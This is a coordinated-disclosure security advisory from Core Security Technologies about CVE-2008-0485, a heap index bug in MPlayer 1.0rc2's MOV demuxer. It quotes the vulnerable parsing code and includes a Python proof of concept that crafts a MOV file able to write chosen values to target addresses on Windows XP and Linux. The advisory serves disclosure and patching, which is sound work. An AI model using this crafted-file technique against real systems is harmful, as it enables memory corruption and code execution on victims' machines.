Mplayer Arbitrary Pointer Derreference

Advisory ID Internal

Advisory Information

Title: MPlayer arbitrary pointer dereference
Advisory ID: CORE-2008-0122
Advisory URL:
Date published: 2008-02-04
Date of last update: 2008-01-30
Vendors contacted: MPlayer team
Release mode: Coordinated release

Vulnerability Information

Class: Buffer overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 27499
CVE Name: CVE-2008-0485

Vulnerability Description

The MPlayer package [1] is vulnerable to an arbitrary pointer dereference vulnerability, which can be exploited by malicious remote attackers to compromise a user's system. The vulnerability is caused by the MPlayer libmpdemux (demux_mov.c) library not properly sanitizing certain tags on a MOV file before using them to index an array on the heap. This can be exploited to execute arbitrary commands by opening a specially crafted file.

Vulnerable Packages

  • MPlayer 1.0 rc2.

  • Older versions are probably affected too, but they were not checked.

Non-Vulnerable Packages

  • MPlayer SVN HEAD after r25922 (Tue Jan 29 22:14:00 2008 UTC).

  • MPlayer 1.0rc2 + security patches.

Vendor Information, Solutions and Workarounds

A fix for this problem was committed to SVN on the MPlayer project. Users of affected MPlayer versions should download a patch [2] for MPlayer 1.0rc2 or update to the latest version if they are using SVN.


This vulnerability was discovered and researched by Felipe Manzano and Anibal Sacco from Core Security Technologies.

Technical Description / Proof of Concept Code

First some information from Quicktime File Format Specification (may 1996):

"A QuickTime file stores the description of the media separately from the media data. The description, or meta-data, is called the movie and contains information such as the number of tracks, video compression format, and timing information. The movie also contains an index of where all the media data is stored. The media data is all of the actual sample data, such as video frames and audio samples. The media data may be stored in the same file as the QuickTime movie, in a separate file, or in several files.

...QuickTime uses two basic structures for storing information: atoms and QT atoms. Both atoms and QT atoms allow you to construct arbitrarily complex hierarchical data structures. Both also allow applications to ignore data they don't understand."

An atom field has a LTV format (Length - Tag - Value) and the sizes are the following:

+--------------+ | Size | (32 bits) +--------------+ | Tag | (32 bits) +--------------+ | Payload | (variable, which could contain other atoms inside) +--------------+ 

The MPlayer software walks these atoms structures and parses the Payload fields. The vulnerability occurs when parsing the stsc atom tag (which could be contained or not inside another atom) as we explain below.

At mov_demux.c (line 1768) an array of chunkmap structures is filled by reading data straight from file without any kind of check. Then, at mov_build_index() (line 150), the trak->chunkmap[i].first field is used to index the heap array chunks allowing an attacker to write the sdid and spc values at some memory address relative to that heap pointer causing a memory corruption. This could be used to overwrite function pointers or some critical data allowing an attacker to get code execution.

Besides, it is possible to fool the parser in a way such that no memory is allocated for the array pointed by trak->chunks, being initialized to 0 (at line 1301). Doing this will remove the "relative to that heap pointer" restriction allowing an attacker to write partially at almost any memory address.

Why partially? Because the structure used to write is declared in this way:

typedef struct { unsigned int sample; // number of the first sample in the chunk unsigned int size; // number of samples in the chunk int desc; // for multiple codecs mode - not used off_t pos; } mov_chunk_t; 

So, being desc and size the controlled fields it is possible to write at memory address: i*sizeof(chunk_t)+4 and i*sizeof(chunk_t)+8 for any i value (at lines 177 and 178).

1755 case MOV_FOURCC('s','t','s','c'): { 1756 int temp = stream_read_dword(demuxer->stream); 1757 int len = stream_read_dword(demuxer->stream); 1758 int ver = (temp << 24); 1759 int flags = (temp << 16) | (temp << 8) | temp; 1760 int i; 1761 mp_msg(MSGT_DEMUX, MSGL_V, 1762 "MOV: %*sSample->Chunk mapping table! (%d blocks) (ver:%d,flags:%d)\n", level, "", 1763 len, ver, flags); 1764 // read data: 1765 trak->chunkmap_size = len; 1766 trak->chunkmap = calloc(len, sizeof(mov_chunkmap_t)); 1767 for (i = 0; i < len; i++) { 1768 trak->chunkmap[i].first = stream_read_dword(demuxer->stream) - 1; 1769 trak->chunkmap[i].spc = stream_read_dword(demuxer->stream); 1770 trak->chunkmap[i].sdid = stream_read_dword(demuxer->stream); 1771 } 1772 break; 1773 } 150 void mov_build_index(mov_track_t* trak,int timescale){ 151 int i,j,s; 152 int last=trak->chunks_size; 153 unsigned int pts=0; 154 169 mp_msg(MSGT_DEMUX, MSGL_V, "MOV track #%d: %d chunks, %d samples\n",trak->id,trak->chunks_size,trak->samples_size); 170 mp_msg(MSGT_DEMUX, MSGL_V, "pts=%d scale=%d time=%5.3f\n",trak->length,trak->timescale,(float)trak->length/(float)trak->timescale); 171 172 // process chunkmap: 173 i=trak->chunkmap_size; 174 while(i>0){ 175 --i; 176 for(j=trak->chunkmap[i].first;j<last;j++){ 177 trak->chunks[j].desc=trak->chunkmap[i].sdid; 178 trak->chunks[j].size=trak->chunkmap[i].spc; 179 } 180 last=trak->chunkmap[i].first; 181 } 

In this way, as we show in the following PoC, it is possible to build a file that contains specially crafted stsc atoms allowing an attacker to write any value in practically any address. With this clear and some voodoo magic it is possible to write a scattered payload that builds a fully functional shellcode on some other place to subsequently jump to.

The following PoC python code demonstrates the vulnerability.

#!/bin/python import struct import sys def mkatom(type,data): if len(type) != 4: raise "type must by of length 4!!!" mov = "" mov += struct.pack(">L",len(data)+8) mov += type mov += data return mov def poc(address, block_size): what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk base= ((address - 8) / block_size) +1 ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1") mdat = mkatom("mdat","MALDAAAAAD!") stsc = mkatom("stsc",struct.pack(">L",1) + \ struct.pack(">L",2) + \ struct.pack(">L",base) + \ what + \ struct.pack(">L",base+300)+what) trak = mkatom("trak",stsc) moov = mkatom("moov",trak) file = ftyp + mdat + moov return file try: if sys.argv[2] != "linux": evilness = poc(0x0122e000, 24) #Windows XP SP2 Prof. ES else: evilness = poc(0x088aa020, 20) #Linux Gentoo print "[+] Generating file: %s" % sys.argv[1] file = open(sys.argv[1], "wb") file.write(evilness) file.close() print "[+] Done." except Exception, e: print "[+] Usage: python windows (For WinXP Prof SP2 ES)" print " python linux (For Linux Gentoo)" 

Report Timeline

  • 2008-01-18: Core Security Technologies notifies the MPlayer team of the vulnerability.
  • 2008-01-18: The MPlayer team asks Core Security Technologies for technical description of the vulnerability.
  • 2008-01-22: Technical details sent to MPlayer team by Core Security Technologies.
  • 2008-01-28: MPlayer notifies Core Security Technologies that a fix has been produced.
  • 2008-02-04: CORE-2008-0122 advisory is published.




About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at


The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories team.